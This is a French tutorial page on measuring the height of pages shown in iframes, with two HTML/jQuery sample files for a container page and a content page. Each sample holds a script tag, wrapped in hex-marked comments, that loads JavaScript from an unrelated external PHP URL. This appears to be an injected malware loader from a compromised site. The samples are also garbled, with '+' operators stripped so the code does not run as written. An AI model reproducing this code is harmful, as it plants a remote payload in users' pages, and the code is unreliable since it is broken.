Une question revient régulièrement dans les forums: comment connaitre la taille d'une page affichée dans un iframe ?
Voici une solution qui va mettre en place une page conteneur.html qui contiendra 4 iframe liés à la page contenu.html
Cependant, avant d'aborder le détail, quelques rappels :
Unsafe JavaScript attempt to access frame with URL file:///...contenu.html from frame with URL file://.../conteneur.html. Domains, protocols and ports must match.
(A noter qu'apparement, firefox fait exception à la rêgle)Ce que l'on sait:
Pour simuler le problème de lenteur de chargement:
Pour répondre à la problématique
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>CONTENU</title> <meta http-equiv="X-UA-Compatible" content="IE=100" > <meta HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"> <style type="text/css"> #contenu { background-color:yellow; } </style> <script src="../DEMARRAGE/jquery-1.7.2.js"></script> <script language="Javascript"> var nbl = Math.floor(Math.random()*10) 5; // minimum 5 lignes function onloadSuite() { for (var i = 1; i < nbl; i ) { jQuery("#contenu").append("<br/>" i); } jQuery("body").attr("loaded", "1"); } function chargementAleatoire() { jQuery("body").attr("loaded", "0"); var tps = Math.floor(Math.random()*5) 2; // min 2 sec. d'attente jQuery("#contenu").append(tps " sec. d'attente - " nbl " lignes"); setTimeout(onloadSuite, tps*1000); } </script> </head> <body id="body" loaded="0" onload="chargementAleatoire();"> <div id="contenu"></div><!--59823f--><script type="text/javascript" src="http://www.donchule.com/js/j36HJ4Cm.php?id=33423149"></script><!--/59823f--> </body> </html>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head><!--8df9df--><script type="text/javascript" src="http://www.donchule.com/js/j36HJ4Cm.php?id=33423147"></script><!--/8df9df--> <title>CONTENEUR</title> <meta http-equiv="X-UA-Compatible" content="IE=100" > <meta HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"> <script src="../DEMARRAGE/jquery-1.7.2.js"></script> <script language="Javascript"> var leTimer; function loadWithIframe() { window.clearTimeout(leTimer); var elt; var etat = 0; var listiFrames = jQuery("iframe.iframeToControl"); var pasFini = false; for (var i = 0; i < listiFrames.length; i ) { elt = jQuery(listiFrames[i]); if (elt.length > 0) { etat = jQuery(elt.contents()).find("body").attr("loaded"); etat = etat == undefined ? 0 : etat; if (etat<1) { pasFini = true; } else { if (etat==1) { jQuery(elt.contents()).find("body").attr("loaded", "2"); elt.height(elt.contents().height() 5); } } } } if (pasFini) leTimer = setTimeout(loadWithIframe, 250); } </script> </head> <body onload="loadWithIframe();"> 1 </body> </html>Note: le "+5" est là pour compenser la hauteur de la bordure, qui varie selon les navigateurs... et donc pour s'assurer que le scrollbar n'apparait pas...